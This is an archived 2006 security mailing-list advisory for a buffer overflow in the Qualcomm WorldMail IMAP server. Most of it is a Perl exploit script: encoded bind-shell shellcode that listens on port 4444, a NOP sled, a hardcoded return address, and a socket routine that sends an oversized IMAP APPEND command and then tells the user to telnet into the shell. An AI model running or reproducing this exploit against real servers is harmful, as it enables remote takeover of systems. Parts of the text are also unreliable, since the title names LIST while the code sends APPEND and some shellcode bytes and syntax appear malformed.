

[EXPL] Qualcomm WorldMail IMAP Server LIST Buffer Overflow (Exploit, Perl)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00020.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 7 Feb 2006 16:42:08 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Qualcomm WorldMail IMAP Server LIST Buffer Overflow (Exploit, Perl)

SUMMARY

<<http://www.eudora.com/worldmail/>> Qualcomm WorldMail is "an email and messaging server designed for use in small to large enterprises that supports IMAP, POP3, SMTP, and web mail features".

A buffer overflow vulnerability in Qualcomm WorldMail's handling of incoming LIST commands allows remote attackers to cause the program to execute arbitrary code.

DETAILS

Vulnerable Systems:

* Qualcomm WorldMail version 3.0 (6.1.19.0)

Exploit:

###

Eudora WorldMail 3.0 Windows 2000 Remote System

Exploit

November 2005

###

[EXPL] Qualcomm WorldMail IMAP Server LIST Buffer Overflow (Exploit, Perl)

```
### Tested on Windows 2000 Server SP4
###
### info(AT)com-winner.com
### http://www.com-winner.com
### http://www.com-winner.com/CWCOM/cwc-index/
###
```

```
use IO::Socket::INET;
use strict;
```

```
# win32_bind - EXITFUNC=seh LPORT=4444 Size=344
Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
```

```
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x63".
"\x88\xf7\xf7\x83\xeb\xfc\xe2\xf4\x9f\xe2\x1c\xba\x8b\x71\x08\x08".
"\x9c\xe8\x7c\x9b\x47\xac\x7c\xb2\x5f\x03\x8b\xf2\x1b\x89\x18\x7c".
"\x2c\x90\x7c\xa8\x43\x89\x1c\xbe\xe8\xbc\x7c\xf6\x8d\xb9\x37\x6e".
"\xcf\x0c\x37\x83\x64\x49\x3d\xfa\x62\x4a\x1c\x03\x58\xdc\xd3\xdf".
"\x16\x6d\x7c\xa8\x47\x89\x1c\x91\xe8\x84\xbc\x7c\x3c\x94\xf6\x1c".
"\x60\xa4\x7c\x7e\x0f\xac\xeb\x96\xa0\xb9\x2c\x93\xe8\xcb\xc7\x7c".
"\x23\x84\x7c\x87\x7f\x25\x7c\xb7\x6b\xd6\x9f\x79\x2d\x86\x1b\xa7".
"\x9c\x5e\x91\xa4\x05\xe0\xc4\xc5\x0b\xff\x84\xc5\x3c\xdc\x08\x27".
"\x0b\x43\x1a\x0b\x58\xd8\x08\x21\x3c\x01\x12\x91\xe2\x65\xff\xf5".
"\x36\xe2\xf5\x08\xb3\xe0\x2e\xfe\x96\x25\xa0\x08\xb5\xdb\xa4\xa4".
"\x30\xdb\xb4\xa4\x20\xdb\x08\x27\x05\xe0\xe6\xab\x05\xdb\x7e\x16".
"\xf6\xe0\x53\xed\x13\x4f\xa0\x08\xb5\xe2\xe7\xa6\x36\x77\x27\x9f".
"\xc7\x25\xd9\x1e\x34\x77\x21\xa4\x36\x77\x27\x9f\x86\xc1\x71\xbe".
"\x34\x77\x21\xa7\x37\xdc\xa2\x08\xb3\x1b\x9f\x10\x1a\x4e\x8e\xa0".
"\x9c\x5e\xa2\x08\xb3\xee\x9d\x93\x05\xe0\x94\x9a\xea\x6d\x9d\xa7".
"\x3a\xa1\x3b\x7e\x84\xe2\xb3\x7e\x81\xb9\x37\x04\xc9\x76\xb5\xda".
"\x9d\xca\xdb\x64\xee\xf2\xcf\x5c\xc8\x23\x9f\x85\x9d\x3b\xe1\x08".
"\x16\xcc\x08\x21\x38\xdf\xa5\xa6\x32\xd9\x9d\xf6\x32\xd9\xa2\xa6".
"\x9c\x58\x9f\x5a\xba\x8d\x39\xa4\x9c\x5e\x9d\x08\x9c\xbf\x08\x27".
"\xe8\xdf\x0b\x74\xa7xec\x08\x21\x31\x77\x27\x9f\x93\x02\xf3\xa8".
"\x30\x77\x21\x08\xb3\x88\xf7\xf7";
```

```
sub usage {
print "usage: perl Worldmail.pl serverip\n";
}
```

```
print "Worldmail.pl\nEudora WorldMail Server REMOTE
SYSTEM EXPLOIT\n";
if ($#ARGV < 0) {
usage();
exit();
}
```

```
my $host=$ARGV[0];
my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 143,
Proto => 'tcp');
```

[EXPL] Qualcomm WorldMail IMAP Server LIST Buffer Overflow (Exploit, Perl)

```
my $nops="\x90" x 10;

my $ret="\xfd\x2b\x9a\x01"; # call ebx in worldmail
3.0 cram.dll
my $x = $nops . $shellcode . ("A" x 427) . "\xeb\x04"
$ret . "\xe9\xeb\xfc\xff\xff";

print $sock "A003 APPEND saved-messages (\Seen)
{\$x}\r\n";

print "\nNow telnet to remote host on port 4444...\n";

while (1) {
$a=<$sock>;
}
#EoF
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:winning_team555@xxxxxxxxx>
Markus Magnus.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.